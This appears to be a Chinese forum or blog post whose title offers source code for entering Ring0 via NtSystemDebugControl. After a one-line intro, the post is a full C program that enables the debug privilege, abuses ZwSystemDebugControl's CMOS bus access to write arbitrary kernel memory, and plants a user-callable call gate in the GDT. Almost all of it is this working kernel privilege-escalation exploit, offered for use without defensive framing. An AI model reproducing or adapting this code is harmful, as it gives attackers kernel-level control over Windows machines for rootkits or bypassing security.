利用NtSystemDebugControl进入Ring0的源代码

Sorry,2004年的东东现在才发，呵呵！
/*

* Discovered and coded by randnut Jan 25, 2004

* I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002

*/

#include <windows.h>

#include <stdio.h>

typedef int NTSTATUS;

typedef DWORD ULONG_PTR;

#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;

const IA32_SYSENTER_ESP = 0x175;

const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;

const CmosIndx = 0x0E;        // CMOS Diagnostic Status

const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed/n"); return 0;}

#define FCHK2(a,b) if (!(a)) {printf(#a " failed/n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {

DebugSysReadIoSpace = 14,

DebugSysWriteIoSpace = 15,

DebugSysReadMsr = 16,

DebugSysWriteMsr = 17,

DebugSysReadBusData = 18,

DebugSysWriteBusData = 19,

} DEBUG_CONTROL_CODE;


typedef enum _BUS_DATA_TYPE {

ConfigurationSpaceUndefined = -1,

Cmos,

EisaConfiguration,

Pos,

CbusConfiguration,

PCIConfiguration,

VMEConfiguration,

NuBusConfiguration,

PCMCIAConfiguration,

MPIConfiguration,

MPSAConfiguration,

PNPISAConfiguration,

SgiInternalConfiguration,

MaximumBusDataType

} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of

struct MyCallGate
{

WORD      OFFSETL;

WORD      SELECTOR;

BYTE      DCOUNT;

BYTE      GTYPE;

WORD      OFFSETH;

DWORD     CodeLimit;

DWORD     CodeBase;

};


typedef struct _BUS_STRUCT {

ULONG  Offset;

PVOID  Buffer;

ULONG  Length;

BUS_DATA_TYPE  BusDataType;

ULONG  BusNumber;

ULONG  SlotNumber;

} BUS_STRUCT;

typedef

NTSTATUS

(NTAPI *PZwSystemDebugControl)(

DEBUG_CONTROL_CODE ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;


int CmosRead(int offs, BYTE** ppAddr = NULL)

{

BYTE buf;

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr ? *ppAddr : &buf;

bus.Offset = 0;

bus.Length = 1;

if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,

NULL) < 0)

return -1;

else

return ppAddr ? 0x100 : buf;

}


int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)

{

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr == NULL ? &val : *ppAddr;

bus.Offset = 0;

bus.Length = 1;

return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,

0, NULL) >= 0;

}


int WriteMem(DWORD MemAddr, BYTE Value)

{
int OldVal = CmosRead(CmosIndx);
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);

return 1;
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)

{

TOKEN_PRIVILEGES tok;

tok.PrivilegeCount = 1;

tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));

FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

return 1;

}

void CallGate()
{   

MyCallGate    CallGate;
DWORD        GDTBase;   
    _asm
    {           
        PUSH EDX
        SGDT FWORD PTR SS:[ESP-2]
        POP EDX
        MOV GDTBase,EDX
        MOV CallGate.OFFSETL,DX
        SHR EDX,16
        MOV CallGate.OFFSETH,DX
    }   
   
    CallGate.SELECTOR = 0x358;
    CallGate.DCOUNT = 0;
    CallGate.GTYPE = 0xec;
    CallGate.CodeLimit = 0xffff;
    CallGate.CodeBase = 0xcf9a00;    //Build My CallGate
   
    WriteMem(GDTBase, 0xc3);
   
    GDTBase = GDTBase+0x350;
    for ( int i=0 ; i<=15 ; i++ )
    {
        BYTE p;
        DWORD *q;
       
        _asm
        {
            LEA ESI,CallGate
            ADD ESI,i
            XOR EAX,EAX
            LODSB
            MOV p,AL   
        }   
       
       
        WriteMem(GDTBase+i, p);
    }
} 

int main(int argc, char* argv[])
{
    HMODULE hNtdll;
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);

    HANDLE hToken;
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
       
    CallGate();
    return 0;   
}